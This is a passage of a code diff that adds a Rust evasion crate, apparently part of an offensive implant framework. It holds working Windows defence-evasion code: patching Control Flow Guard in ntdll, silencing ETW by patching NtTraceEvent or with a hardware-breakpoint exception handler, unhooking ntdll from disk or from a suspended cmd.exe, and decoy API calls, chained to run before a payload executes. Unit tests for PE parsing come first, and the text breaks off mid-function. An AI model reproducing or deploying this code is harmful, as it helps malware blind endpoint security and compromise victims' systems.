pe[nt..nt + 4].copy_from_slice(&0x00004550u32.to_le_bytes()); + + // COFF header + pe[nt + 4..nt + 6].copy_from_slice(&0x8664u16.to_le_bytes()); // Machine = x86_64 + pe[nt + 6..nt + 8].copy_from_slice(&num_sections.to_le_bytes()); + pe[nt + 20..nt + 22].copy_from_slice(&opt_hdr_size.to_le_bytes()); + + // Optional header + let opt = nt + 24; + pe[opt..opt + 2].copy_from_slice(&0x020Bu16.to_le_bytes()); // Magic = PE32+ + + // Section table entry: .text + let sec = sec_table_off; + pe[sec..sec + 5].copy_from_slice(b".text"); + pe[sec + 8..sec + 12].copy_from_slice(&text_vsize.to_le_bytes()); // Misc.VirtualSize + pe[sec + 12..sec + 16].copy_from_slice(&text_vaddr.to_le_bytes()); // VirtualAddress + pe[sec + 16..sec + 20].copy_from_slice(&text_vsize.to_le_bytes()); // SizeOfRawData + pe[sec + 20..sec + 24].copy_from_slice(&text_raw.to_le_bytes()); // PointerToRawData + + pe + } + + #[test] + fn test_rva_to_raw_basic() { + // Section: VA=0x1000, VSize=0x200, RawOffset=0x400 + let pe = build_minimal_pe64(0x1000, 0x200, 0x400); + // RVA 0x1000 should map to raw offset 0x400 + assert_eq!(rva_to_raw(&pe, 0x1000), Some(0x400)); + // RVA 0x1050 should map to raw offset 0x450 + assert_eq!(rva_to_raw(&pe, 0x1050), Some(0x450)); + // RVA 0x11FF should map to raw offset 0x5FF (last byte in section) + assert_eq!(rva_to_raw(&pe, 0x11FF), Some(0x5FF)); + } + + #[test] + fn test_rva_to_raw_out_of_range() { + let pe = build_minimal_pe64(0x1000, 0x200, 0x400); + // RVA 0x1200 is outside the section (VA=0x1000, VSize=0x200) + assert_eq!(rva_to_raw(&pe, 0x1200), None); + // RVA 0x0FFF is before the section + assert_eq!(rva_to_raw(&pe, 0x0FFF), None); + // RVA 0x0000 is before all sections + assert_eq!(rva_to_raw(&pe, 0x0000), None); + } + + #[test] + fn test_rva_to_raw_invalid_pe() { + // Too short — rva_to_raw indexes bytes[0x3C..0x40] which panics on short input. + // The production code only ever receives full PE files, so this is expected. + let result = std::panic::catch_unwind(|| rva_to_raw(&[0u8; 16], 0x1000)); + assert!(result.is_err(), "Should panic on truncated input"); + } + + #[test] + fn test_rva_to_raw_empty_data() { + let result = std::panic::catch_unwind(|| rva_to_raw(&[], 0x1000)); + assert!(result.is_err(), "Should panic on empty input"); + } + + /// Build a PE64 with a fake export table containing specified function names. + fn build_pe64_with_exports(funcs: &[&str]) -> Vec { + let e_lfanew: u32 = 0x40; + let opt_hdr_size: u16 = 0xF0; + let num_sections: u16 = 1; + let sec_table_off = e_lfanew as usize + 4 + 20 + opt_hdr_size as usize; + + // Section layout: + // .text section at VA=0x1000, raw at 0x400, large enough for exports + let text_va: u32 = 0x1000; + let text_raw: u32 = 0x400; + + // Export directory layout (all within the .text section): + let exp_rva = text_va; // export dir at start of .text + let exp_raw = text_raw as usize; + + let n = funcs.len(); + // Layout after export dir (40 bytes): + // addr_table: at exp + 40, n * 4 bytes + // name_table: at exp + 40 + n*4, n * 4 bytes + // ord_table: at exp + 40 + n*8, n * 2 bytes + // names: after ord table + let addr_table_rva = exp_rva + 40; + let name_table_rva = addr_table_rva + (n as u32) * 4; + let ord_table_rva = name_table_rva + (n as u32) * 4; + let names_start_rva = ord_table_rva + (n as u32) * 2; + + // Calculate total size needed + let mut total_name_len = 0usize; + for f in funcs { + total_name_len += f.len() + 1; + } // +1 for null terminator + let section_size = 40 + n * 4 + n * 4 + n * 2 + total_name_len + 64; + let file_size = text_raw as usize + section_size; + let mut pe = vec![0u8; file_size]; + + // DOS header + pe[0] = b'M'; + pe[1] = b'Z'; + pe[0x3C..0x40].copy_from_slice(&e_lfanew.to_le_bytes()); + + // PE signature + COFF + let nt = e_lfanew as usize; + pe[nt..nt + 4].copy_from_slice(&0x00004550u32.to_le_bytes()); + pe[nt + 4..nt + 6].copy_from_slice(&0x8664u16.to_le_bytes()); + pe[nt + 6..nt + 8].copy_from_slice(&num_sections.to_le_bytes()); + pe[nt + 20..nt + 22].copy_from_slice(&opt_hdr_size.to_le_bytes()); + + // Optional header + let opt = nt + 24; + pe[opt..opt + 2].copy_from_slice(&0x020Bu16.to_le_bytes()); // PE32+ + // DataDirectory[0] (exports) at opt + 0x70 + pe[opt + 0x70..opt + 0x74].copy_from_slice(&exp_rva.to_le_bytes()); + pe[opt + 0x74..opt + 0x78].copy_from_slice(&(section_size as u32).to_le_bytes()); + + // Section table + let sec = sec_table_off; + pe[sec..sec + 5].copy_from_slice(b".text"); + pe[sec + 8..sec + 12].copy_from_slice(&(section_size as u32).to_le_bytes()); + pe[sec + 12..sec + 16].copy_from_slice(&text_va.to_le_bytes()); + pe[sec + 16..sec + 20].copy_from_slice(&(section_size as u32).to_le_bytes()); + pe[sec + 20..sec + 24].copy_from_slice(&text_raw.to_le_bytes()); + + // Export directory table (at exp_raw) + let ed = exp_raw; + pe[ed + 20..ed + 24].copy_from_slice(&1u32.to_le_bytes()); // NumberOfFunctions + pe[ed + 24..ed + 28].copy_from_slice(&(n as u32).to_le_bytes()); // NumberOfNames + pe[ed + 28..ed + 32].copy_from_slice(&addr_table_rva.to_le_bytes()); + pe[ed + 32..ed + 36].copy_from_slice(&name_table_rva.to_le_bytes()); + pe[ed + 36..ed + 40].copy_from_slice(&ord_table_rva.to_le_bytes()); + + // Convert RVAs to raw offsets for writing + let addr_raw = (addr_table_rva - text_va + text_raw) as usize; + let name_raw = (name_table_rva - text_va + text_raw) as usize; + let ord_raw = (ord_table_rva - text_va + text_raw) as usize; + let mut name_off_rva = names_start_rva; + + for i in 0..n { + // Address table: fake RVA for each function (0x2000 + i*0x10) + let fn_rva = 0x2000u32 + (i as u32) * 0x10; + pe[addr_raw + i * 4..addr_raw + i * 4 + 4].copy_from_slice(&fn_rva.to_le_bytes()); + // Ordinal table: ordinal = i + pe[ord_raw + i * 2..ord_raw + i * 2 + 2].copy_from_slice(&(i as u16).to_le_bytes()); + // Name pointer table: RVA to name string + pe[name_raw + i * 4..name_raw + i * 4 + 4].copy_from_slice(&name_off_rva.to_le_bytes()); + // Write name string + let name_file_off = (name_off_rva - text_va + text_raw) as usize; + let name_bytes = funcs[i].as_bytes(); + pe[name_file_off..name_file_off + name_bytes.len()].copy_from_slice(name_bytes); + pe[name_file_off + name_bytes.len()] = 0; // null terminator + name_off_rva += (name_bytes.len() + 1) as u32; + } + + pe + } + + #[test] + fn test_find_export_rva_single_func() { + let pe = build_pe64_with_exports(&["NtAllocateVirtualMemory"]); + let rva = find_export_rva(&pe, "NtAllocateVirtualMemory"); + assert_eq!(rva, Some(0x2000)); + } + + #[test] + fn test_find_export_rva_multiple_funcs() { + let funcs = &[ + "NtAllocateVirtualMemory", + "NtCreateThreadEx", + "NtWriteVirtualMemory", + ]; + let pe = build_pe64_with_exports(funcs); + assert_eq!( + find_export_rva(&pe, "NtAllocateVirtualMemory"), + Some(0x2000) + ); + assert_eq!(find_export_rva(&pe, "NtCreateThreadEx"), Some(0x2010)); + assert_eq!(find_export_rva(&pe, "NtWriteVirtualMemory"), Some(0x2020)); + } + + #[test] + fn test_find_export_rva_not_found() { + let pe = build_pe64_with_exports(&["NtAllocateVirtualMemory"]); + assert_eq!(find_export_rva(&pe, "NtFreeVirtualMemory"), None); + } + + #[test] + fn test_find_export_rva_invalid_pe() { + let result = std::panic::catch_unwind(|| find_export_rva(&[0u8; 16], "foo")); + assert!(result.is_err(), "Should panic on truncated input"); + let result = std::panic::catch_unwind(|| find_export_rva(&[], "foo")); + assert!(result.is_err(), "Should panic on empty input"); + } +} diff --git a/malefic-crates/evader/src/cfg_patch.rs b/malefic-crates/evader/src/cfg_patch.rs new file mode 100644 index 0000000..1c33f34 --- /dev/null +++ b/malefic-crates/evader/src/cfg_patch.rs @@ -0,0 +1,157 @@ +//! CFG (Control Flow Guard) bypass (BOAZ cfg_patch port). +//! +//! Locates `LdrpDispatchUserCallTarget` near `RtlRetrieveNtUserPfn` by +//! scanning for the `bt r11,r10` CFG check pattern, then replaces it with +//! `clc; cmc` so the check always reports the target as a valid CFG target. + +use core::ffi::c_void; + +use crate::types::PAGE_EXECUTE_READWRITE; +use malefic_os_win::kit::binding::{ + MGetCurrentProcess, MGetProcAddress, MLoadLibraryA, MNtFlushInstructionCache, MVirtualProtect, +}; + +/// Get ntdll base address from the loaded module list. +unsafe fn get_ntdll_base() -> *mut u8 { + let _obf_ntdll_dll = obf_cstr!(b"ntdll.dll\0"); + MLoadLibraryA(_obf_ntdll_dll.as_ptr()) as *mut u8 +} + +/// Scan `[start, start + range)` for `pattern`, returning the offset. +unsafe fn get_pattern(start: *const u8, range: usize, pattern: &[u8]) -> Option { + let n = pattern.len(); + if range < n { + return None; + } + for off in 0..=(range - n) { + let slice = core::slice::from_raw_parts(start.add(off), n); + if slice == pattern { + return Some(off); + } + } + None +} + +/// Patch Control Flow Guard by neutering `LdrpDispatchUserCallTarget`. +/// +/// Strategy (mirrors the C original): +/// 1. Find `RtlRetrieveNtUserPfn` in ntdll exports. +/// 2. Scan ±0x1000 bytes around it for the `bt r11, r10` encoding +/// (4D 0F A3 CA), which is the CFG validity check inside +/// `LdrpDispatchUserCallTarget`. +/// 3. Replace those 4 bytes with `clc; cmc; nop; nop` (F8 F5 90 90) +/// so the carry flag is always cleared then toggled, making every +/// indirect call appear valid to CFG. +pub fn patch_cfg() { + unsafe { + let ntdll = get_ntdll_base(); + if ntdll.is_null() { + return; + } + + // Resolve RtlRetrieveNtUserPfn as our scan anchor + let _obf_rtlretrieventuserpfn = obf_cstr!(b"RtlRetrieveNtUserPfn\0"); + let anchor_raw = + MGetProcAddress(ntdll as *const c_void, _obf_rtlretrieventuserpfn.as_ptr()); + let anchor = if anchor_raw.is_null() { + // Fall back: scan the whole module (expensive but works) + ntdll + } else { + // Scan ±0x1000 bytes around the anchor + anchor_raw as *mut u8 + }; + + // Scan range: start a little before the anchor + let scan_start = anchor.sub(0x1000); + let scan_range = 0x2000usize; + + // bt r11, r10 = 4D 0F A3 CA + let bt_pattern: &[u8] = &[0x4D, 0x0F, 0xA3, 0xCA]; + // Replacement: clc (F8) + cmc (F5) + nop (90) + nop (90) + let patch: [u8; 4] = [0xF8, 0xF5, 0x90, 0x90]; + + if let Some(off) = get_pattern(scan_start, scan_range, bt_pattern) { + let target = scan_start.add(off); + let mut old_prot: u32 = 0; + if MVirtualProtect( + target as *mut c_void, + patch.len(), + PAGE_EXECUTE_READWRITE, + &mut old_prot, + ) { + core::ptr::copy_nonoverlapping(patch.as_ptr(), target, patch.len()); + MVirtualProtect(target as *mut c_void, patch.len(), old_prot, &mut old_prot); + MNtFlushInstructionCache(MGetCurrentProcess(), target as *mut c_void, patch.len()); + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_get_pattern_found_at_start() { + let data = vec![0x4D, 0x0F, 0xA3, 0xCA, 0x90, 0x90]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0x4D, 0x0F, 0xA3, 0xCA]); + assert_eq!(result, Some(0)); + } + } + + #[test] + fn test_get_pattern_found_in_middle() { + let data = vec![0x90, 0x90, 0x4D, 0x0F, 0xA3, 0xCA, 0x90]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0x4D, 0x0F, 0xA3, 0xCA]); + assert_eq!(result, Some(2)); + } + } + + #[test] + fn test_get_pattern_found_at_end() { + let data = vec![0x90, 0x90, 0x4D, 0x0F, 0xA3, 0xCA]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0x4D, 0x0F, 0xA3, 0xCA]); + assert_eq!(result, Some(2)); + } + } + + #[test] + fn test_get_pattern_not_found() { + let data = vec![0x90, 0x90, 0x90, 0x90, 0x90, 0x90]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0x4D, 0x0F, 0xA3, 0xCA]); + assert_eq!(result, None); + } + } + + #[test] + fn test_get_pattern_range_too_small() { + let data = vec![0x4D, 0x0F]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0x4D, 0x0F, 0xA3, 0xCA]); + assert_eq!(result, None); + } + } + + #[test] + fn test_get_pattern_single_byte() { + let data = vec![0x00, 0x01, 0xCC, 0x03]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0xCC]); + assert_eq!(result, Some(2)); + } + } + + #[test] + fn test_get_pattern_first_occurrence() { + // Should return the FIRST match + let data = vec![0xAA, 0xBB, 0xAA, 0xBB]; + unsafe { + let result = get_pattern(data.as_ptr(), data.len(), &[0xAA, 0xBB]); + assert_eq!(result, Some(0)); + } + } +} diff --git a/malefic-crates/evader/src/etw_pass.rs b/malefic-crates/evader/src/etw_pass.rs new file mode 100644 index 0000000..08d8919 --- /dev/null +++ b/malefic-crates/evader/src/etw_pass.rs @@ -0,0 +1,238 @@ +//! ETW bypass (BOAZ etw_pass port). +//! +//! Three complementary techniques: +//! 1. `neutralize_etw` — patch NtTraceEvent with `xor rax,rax; ret` +//! 2. `bypass_etw_hwbp` — patchless via VEH + hardware breakpoint (Dr0) +//! 3. `restore_ntdll` — load a clean copy of ntdll from disk +//! +//! `everything()` chains them: restore → bypass. + +use core::ffi::c_void; +use core::ptr::null_mut; +use core::sync::atomic::{AtomicPtr, Ordering}; + +use crate::types::{ + CONTEXT, CONTEXT_DEBUG_REGISTERS, EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH, + EXCEPTION_POINTERS, EXCEPTION_SINGLE_STEP, PAGE_EXECUTE_READWRITE, +}; +use malefic_os_win::kit::binding::{ + MAddVectoredExceptionHandler, MGetCurrentProcess, MGetCurrentThread, MGetProcAddress, + MGetThreadContext, MLoadLibraryA, MNtFlushInstructionCache, MSetThreadContext, MVirtualProtect, +}; + +// ─── Technique 1: patch NtTraceEvent ───────────────────────────────────────── + +/// Overwrite the first bytes of `NtTraceEvent` with `xor rax,rax; ret` +/// so all ETW write calls silently return 0 (STATUS_SUCCESS). +#[cfg(target_arch = "x86_64")] +pub fn neutralize_etw() -> bool { + unsafe { + let ntdll = { + let name = obf_cstr!(b"ntdll.dll\0"); + MLoadLibraryA(name.as_ptr()) + }; + if ntdll.is_null() { + return false; + } + + let func_addr = { + let name = obf_cstr!(b"NtTraceEvent\0"); + MGetProcAddress(ntdll as *const c_void, name.as_ptr()) + }; + if func_addr.is_null() { + return false; + } + + // xor rax, rax (48 31 C0) + ret (C3) + let patch: [u8; 4] = [0x48, 0x31, 0xC0, 0xC3]; + let mut old_prot: u32 = 0; + if !MVirtualProtect( + func_addr as *mut c_void, + patch.len(), + PAGE_EXECUTE_READWRITE, + &mut old_prot, + ) { + return false; + } + + core::ptr::copy_nonoverlapping(patch.as_ptr(), func_addr as *mut u8, patch.len()); + MVirtualProtect( + func_addr as *mut c_void, + patch.len(), + old_prot, + &mut old_prot, + ); + MNtFlushInstructionCache(MGetCurrentProcess(), func_addr as *mut c_void, patch.len()); + true + } +} + +// ─── Technique 2: patchless — VEH + HWBP ───────────────────────────────────── + +/// Address of a single-byte `ret` stub used as the redirect target. +/// Written once and read by the VEH handler. +static RET_STUB_ADDR: AtomicPtr = AtomicPtr::new(null_mut()); + +/// Address of the breakpointed function (NtTraceEvent). +static BP_TARGET: AtomicPtr = AtomicPtr::new(null_mut()); + +/// VEH handler: when the HWBP on NtTraceEvent fires, redirect RIP to +/// a `ret` stub and clear the breakpoint state so execution continues. +#[cfg(target_arch = "x86_64")] +unsafe extern "system" fn etw_veh_handler(exc: *mut EXCEPTION_POINTERS) -> i32 { + let exc = &*exc; + if exc.ExceptionRecord.is_null() || exc.ContextRecord.is_null() { + return EXCEPTION_CONTINUE_SEARCH; + } + let record = &*exc.ExceptionRecord; + let ctx = &mut *exc.ContextRecord; + + if record.ExceptionCode != EXCEPTION_SINGLE_STEP { + return EXCEPTION_CONTINUE_SEARCH; + } + + let bp = BP_TARGET.load(Ordering::Relaxed); + let rip = ctx.rip() as *mut c_void; + if rip != bp { + return EXCEPTION_CONTINUE_SEARCH; + } + + // Redirect to ret stub + let stub = RET_STUB_ADDR.load(Ordering::Relaxed); + ctx.set_rip(stub as u64); + + // Clear Dr0 + Dr7 enable bits so we don't keep firing + ctx.set_dr(0, 0); + let dr7 = ctx.dr7() & !(0b11u64); // clear local enable bit 0 + ctx.set_dr7(dr7); + + EXCEPTION_CONTINUE_EXECUTION +} + +/// Install VEH + HWBP on `NtTraceEvent` to silently swallow all ETW events. +#[cfg(target_arch = "x86_64")] +pub fn bypass_etw_hwbp() -> bool { + unsafe { + // Allocate a tiny executable stub: just a `ret` (0xC3) + use crate::types::{MEM_COMMIT, MEM_RESERVE}; + use malefic_os_win::kit::binding::MVirtualAlloc; + let stub = MVirtualAlloc( + null_mut(), + 16, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ); + if stub.is_null() { + return false; + } + *(stub as *mut u8) = 0xC3; + RET_STUB_ADDR.store(stub, Ordering::Relaxed); + + // Get NtTraceEvent address + let _obf_ntdll_dll = obf_cstr!(b"ntdll.dll\0"); + let ntdll = MLoadLibraryA(_obf_ntdll_dll.as_ptr()); + if ntdll.is_null() { + return false; + } + let _obf_nttraceevent = obf_cstr!(b"NtTraceEvent\0"); + let nt_trace = MGetProcAddress(ntdll as *const c_void, _obf_nttraceevent.as_ptr()); + if nt_trace.is_null() { + return false; + } + BP_TARGET.store(nt_trace as *mut c_void, Ordering::Relaxed); + + // Register VEH + let veh = MAddVectoredExceptionHandler(1, etw_veh_handler as *mut c_void); + if veh.is_null() { + return false; + } + + // Set Dr0 = NtTraceEvent, Dr7 bit 0 = local enable + let hthread = MGetCurrentThread(); + let mut ctx = CONTEXT::new(); + ctx.set_context_flags(CONTEXT_DEBUG_REGISTERS); + if !MGetThreadContext(hthread, &mut ctx as *mut CONTEXT as *mut c_void) { + return false; + } + ctx.set_dr(0, nt_trace as u64); + let dr7 = ctx.dr7() | 0x1; // local enable Dr0 + ctx.set_dr7(dr7); + MSetThreadContext(hthread, &mut ctx as *mut CONTEXT as *mut c_void) + } +} + +// ─── Technique 3: restore ntdll from disk ──────────────────────────────────── + +/// Load a clean copy of `ntdll.dll` from the file system and overwrite +/// the `.text` section of the in-memory (potentially hooked) ntdll. +pub fn restore_ntdll() -> bool { + unsafe { + let ntdll_path = obf_cstr!(b"C:\\Windows\\System32\\ntdll.dll\0"); + let disk_bytes = match std::fs::read( + std::str::from_utf8(&ntdll_path[..ntdll_path.len() - 1]).unwrap(), + ) { + Ok(b) => b, + Err(_) => return false, + }; + + // Find in-memory ntdll base + let ntdll_base = { + let _obf_ntdll_dll_1 = obf_cstr!(b"ntdll.dll\0"); + let h = MLoadLibraryA(_obf_ntdll_dll_1.as_ptr()); + if h.is_null() { + return false; + } + h as *mut u8 + }; + + // Parse DOS + PE headers to find .text section in the disk image + let disk = disk_bytes.as_ptr(); + let dos_e_lfanew = i32::from_ne_bytes(*(disk.add(0x3C) as *const [u8; 4])); + let nt_hdrs = disk.add(dos_e_lfanew as usize); + // NumberOfSections at PE+0x06 + let num_sections = u16::from_ne_bytes(*(nt_hdrs.add(6) as *const [u8; 2])) as usize; + // SizeOfOptionalHeader at PE+0x14 + let opt_hdr_size = u16::from_ne_bytes(*(nt_hdrs.add(20) as *const [u8; 2])) as usize; + // Section table starts after the optional header + let section_ptr = nt_hdrs.add(24 + opt_hdr_size); + + for i in 0..num_sections { + let sec = section_ptr.add(i * 40); + let name = core::slice::from_raw_parts(sec, 8); + if name.starts_with(b".text") { + let virt_addr = u32::from_ne_bytes(*(sec.add(12) as *const [u8; 4])) as usize; + let raw_off = u32::from_ne_bytes(*(sec.add(20) as *const [u8; 4])) as usize; + let size = u32::from_ne_bytes(*(sec.add(16) as *const [u8; 4])) as usize; + + let mem_text = ntdll_base.add(virt_addr); + let disk_text = disk.add(raw_off); + + let mut old_prot: u32 = 0; + if !MVirtualProtect( + mem_text as *mut c_void, + size, + PAGE_EXECUTE_READWRITE, + &mut old_prot, + ) { + return false; + } + + core::ptr::copy_nonoverlapping(disk_text, mem_text, size); + + MVirtualProtect(mem_text as *mut c_void, size, old_prot, &mut old_prot); + MNtFlushInstructionCache(MGetCurrentProcess(), mem_text as *mut c_void, size); + return true; + } + } + false + } +} + +// ─── Orchestrator ───────────────────────────────────────────────────────────── + +/// Full ETW evasion chain: restore ntdll, then apply HWBP bypass. +pub fn everything() { + restore_ntdll(); + #[cfg(target_arch = "x86_64")] + bypass_etw_hwbp(); +} diff --git a/malefic-crates/evader/src/god_speed.rs b/malefic-crates/evader/src/god_speed.rs new file mode 100644 index 0000000..bf1e5ac --- /dev/null +++ b/malefic-crates/evader/src/god_speed.rs @@ -0,0 +1,130 @@ +//! ntdll unhooking via a clean suspended process (BOAZ god_speed port). +//! +//! Creates a suspended `cmd.exe`, reads its clean ntdll .text section, +//! and overwrites the potentially hooked in-memory ntdll in the current +//! process. The suspended process is then terminated. + +use core::ffi::c_void; +use core::mem::zeroed; +use core::ptr::null_mut; + +use crate::types::{ + CREATE_NO_WINDOW, CREATE_SUSPENDED, PAGE_EXECUTE_READWRITE, PROCESS_INFORMATION, STARTUPINFOA, +}; +use malefic_os_win::kit::binding::{ + MCloseHandle, MCreateProcessA, MGetCurrentProcess, MLoadLibraryA, MNtFlushInstructionCache, + MReadProcessMemory, MTerminateProcess, MVirtualProtect, +}; + +/// Read a `u16` from a byte slice at `offset` (little-endian). +unsafe fn read_u16(base: *const u8, offset: usize) -> u16 { + let ptr = base.add(offset) as *const u16; + core::ptr::read_unaligned(ptr) +} + +/// Read a `u32` from a byte slice at `offset` (little-endian). +unsafe fn read_u32(base: *const u8, offset: usize) -> u32 { + let ptr = base.add(offset) as *const u32; + core::ptr::read_unaligned(ptr) +} + +/// Locate the `.text` section bounds inside a PE image already mapped at `base`. +/// Returns (virtual_address, raw_size). +unsafe fn find_text_section(base: *const u8) -> Option<(usize, usize)> { + let e_lfanew = read_u32(base, 0x3C) as usize; + let nt = base.add(e_lfanew); + let num_sections = read_u16(nt, 6) as usize; + let opt_hdr_size = read_u16(nt, 20) as usize; + let sec_table = nt.add(24 + opt_hdr_size); + + for i in 0..num_sections { + let sec = sec_table.add(i * 40); + let name = core::slice::from_raw_parts(sec, 8); + if name.starts_with(b".text") { + let virt_addr = read_u32(sec, 12) as usize; + let size = read_u32(sec, 16) as usize; + return Some((virt_addr, size)); + } + } + None +} + +/// Unhook ntdll by: +/// 1. Spawning a suspended `cmd.exe` (its ntdll will be clean). +/// 2. Finding ntdll in the remote process memory (same VA as local). +/// 3. Reading the clean `.text` section via `ReadProcessMemory`. +/// 4. Overwriting our own ntdll `.text` section with the clean bytes. +/// 5. Terminating the suspended process. +pub fn execute_process_operations() { + unsafe { + // ── 1. Spawn suspended cmd.exe ─────────────────────────────── + let app = obf_cstr!(b"cmd.exe\0"); + let mut si: STARTUPINFOA = zeroed(); + si.cb = core::mem::size_of::() as u32; + let mut pi: PROCESS_INFORMATION = zeroed(); + + let ok = MCreateProcessA( + null_mut(), + app.as_ptr() as *mut i8, + null_mut(), + null_mut(), + 0, + CREATE_SUSPENDED | CREATE_NO_WINDOW, + null_mut(), + null_mut(), + &mut si as *mut STARTUPINFOA as *mut c_void, + &mut pi as *mut PROCESS_INFORMATION as *mut c_void, + ); + if !ok { + return; + } + + // ── 2. Get local ntdll base (same VA in the remote process) ── + let ntdll_base = { + let _obf_ntdll_dll = obf_cstr!(b"ntdll.dll\0"); + let h = MLoadLibraryA(_obf_ntdll_dll.as_ptr()); + if h.is_null() { + MTerminateProcess(pi.hProcess, 0); + return; + } + h as *const u8 + }; + + // ── 3. Locate .text section ─────────────────────────────────── + let (text_rva, text_size) = match find_text_section(ntdll_base) { + Some(t) => t, + None => { + MTerminateProcess(pi.hProcess, 0); + return; + } + }; + let remote_text = (ntdll_base as usize + text_rva) as *mut c_void; + + // ── 4. Read clean bytes from the suspended process ──────────── + let mut clean_buf = vec![0u8; text_size]; + let ok = MReadProcessMemory( + pi.hProcess, + remote_text, + clean_buf.as_mut_ptr() as *mut c_void, + text_size, + ); + if !ok { + MTerminateProcess(pi.hProcess, 0); + return; + } + + // ── 5. Overwrite local ntdll .text with clean bytes ─────────── + let local_text = (ntdll_base as usize + text_rva) as *mut c_void; + let mut old_prot: u32 = 0; + if MVirtualProtect(local_text, text_size, PAGE_EXECUTE_READWRITE, &mut old_prot) { + core::ptr::copy_nonoverlapping(clean_buf.as_ptr(), local_text as *mut u8, text_size); + MVirtualProtect(local_text, text_size, old_prot, &mut old_prot); + MNtFlushInstructionCache(MGetCurrentProcess(), local_text, text_size); + } + + // ── 6. Terminate suspended process ─────────────────────────── + MTerminateProcess(pi.hProcess, 0); + MCloseHandle(pi.hProcess); + MCloseHandle(pi.hThread); + } +} diff --git a/malefic-crates/evader/src/lib.rs b/malefic-crates/evader/src/lib.rs new file mode 100644 index 0000000..2eca80e --- /dev/null +++ b/malefic-crates/evader/src/lib.rs @@ -0,0 +1,122 @@ +//! Malefic Evader — Evasion and anti-analysis modules. +//! +//! Consolidates evader techniques (from malefic-starship) and anti-analysis +//! modules (sandbox/vm detection from malefic-os-win) into a standalone crate. + +#![allow(dead_code)] + +/// Debug print macro - only outputs when `debug` feature is enabled +#[macro_export] +macro_rules! debug_println { + ($($arg:tt)*) => { + #[cfg(feature = "debug")] + println!($($arg)*); + }; +} + +/// Obfuscate a byte string literal, returning `Vec`. +/// +/// When `obf_strings` is enabled: AES-encrypted at compile time, decrypted at runtime. +/// When disabled: pass-through `.to_vec()` (negligible for one-shot loader). +#[cfg(feature = "obf_strings")] +#[macro_export] +macro_rules! obf_cstr { + ($s:expr) => { + ::malefic_gateway::obf_bytes!($s) + }; +} + +#[cfg(not(feature = "obf_strings"))] +#[macro_export] +macro_rules! obf_cstr { + ($s:expr) => { + $s.to_vec() + }; +} + +#[allow(non_snake_case)] +pub mod types; + +#[cfg(all(target_os = "windows", feature = "evader_anti_emu"))] +pub mod anti_emu; + +#[cfg(all(target_os = "windows", feature = "evader_etw_pass"))] +pub mod etw_pass; + +#[cfg(all(target_os = "windows", feature = "evader_god_speed"))] +pub mod god_speed; + +#[cfg(all(target_os = "windows", feature = "evader_sleep_encrypt"))] +pub mod sleep_encrypt; + +#[cfg(all(target_os = "windows", feature = "evader_anti_forensic"))] +pub mod anti_forensic; + +#[cfg(all(target_os = "windows", feature = "evader_cfg_patch"))] +pub mod cfg_patch; + +#[cfg(all(target_os = "windows", feature = "evader_api_untangle"))] +pub mod api_untangle; + +#[cfg(all(target_os = "windows", feature = "evader_normal_api"))] +pub mod normal_api; + +#[cfg(all(target_os = "windows", feature = "anti_sandbox"))] +pub mod sandbox; + +#[cfg(all(target_os = "windows", feature = "anti_vm"))] +pub mod vm; + +/// Run all enabled evasion modules in order. +/// +/// Call this early in the loader entry point (before decoding or executing +/// the payload) to set up the evasion environment. +#[allow(unused_variables)] +#[cfg_attr(feature = "obf_junk", malefic_gateway::junk)] +pub fn run_evaders() { + #[cfg(all(target_os = "windows", feature = "evader_anti_emu"))] + { + #[cfg(feature = "debug")] + println!("[evader] anti_emu: running sandbox checks..."); + if !anti_emu::execute_all_checks() { + #[cfg(feature = "debug")] + println!("[evader] anti_emu: sandbox detected, aborting"); + return; + } + #[cfg(feature = "debug")] + println!("[evader] anti_emu: environment looks real, continuing"); + } + + #[cfg(all(target_os = "windows", feature = "evader_god_speed"))] + { + #[cfg(feature = "debug")] + println!("[evader] god_speed: unhooking ntdll via suspended process"); + god_speed::execute_process_operations(); + } + + #[cfg(all(target_os = "windows", feature = "evader_api_untangle"))] + { + #[cfg(feature = "debug")] + println!("[evader] api_untangle: restoring hooked APIs from disk"); + api_untangle::execute_modifications(); + } + + #[cfg(all(target_os = "windows", feature = "evader_etw_pass"))] + { + #[cfg(feature = "debug")] + println!("[evader] etw_pass: bypassing ETW"); + etw_pass::everything(); + } + + #[cfg(all(target_os = "windows", feature = "evader_cfg_patch"))] + { + #[cfg(feature = "debug")] + println!("[evader] cfg_patch: patching CFG"); + cfg_patch::patch_cfg(); + } + + #[cfg(all(target_os = "windows", feature = "evader_normal_api"))] + { + normal_api::execute_api_function(); + } +} diff --git a/malefic-crates/evader/src/normal_api.rs b/malefic-crates/evader/src/normal_api.rs new file mode 100644 index 0000000..5a7791f --- /dev/null +++ b/malefic-crates/evader/src/normal_api.rs @@ -0,0 +1,162 @@ +//! Decoy / benign API calls for behavioural-analysis evasion (BOAZ normal_api port). +//! +//! Randomly executes one of several innocuous operations (file I/O, memory +//! allocation, math, random number generation) to build a "normal" call-graph +//! before executing the real payload. + +use crate::types::{MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE}; +use core::ptr::null_mut; +use malefic_os_win::kit::binding::MVirtualAlloc; + +/// Cheap PRNG seed — reads the low 32 bits of the TSC. +fn cheap_rand() -> u64 { + #[cfg(target_arch = "x86_64")] + unsafe { + core::arch::x86_64::_rdtsc() + } + #[cfg(not(target_arch = "x86_64"))] + { + use std::time::{SystemTime, UNIX_EPOCH}; + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.subsec_nanos() as u64) + .unwrap_or(42) + } +} + +/// Write and read back a temporary file. +fn create_and_write_file() { + let path = std::env::temp_dir().join("~decoy_tmp.txt"); + let _ = std::fs::write(&path, b"hello from normal_api"); + let _ = std::fs::read(&path); + let _ = std::fs::remove_file(&path); +} + +/// Allocate a small region, write a value, free it. +fn allocate_and_free_memory() { + unsafe { + let p = MVirtualAlloc(null_mut(), 256, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if !p.is_null() { + *(p as *mut u8) = 42u8; + } + } +} + +/// Generate a pseudo-random number in [0, 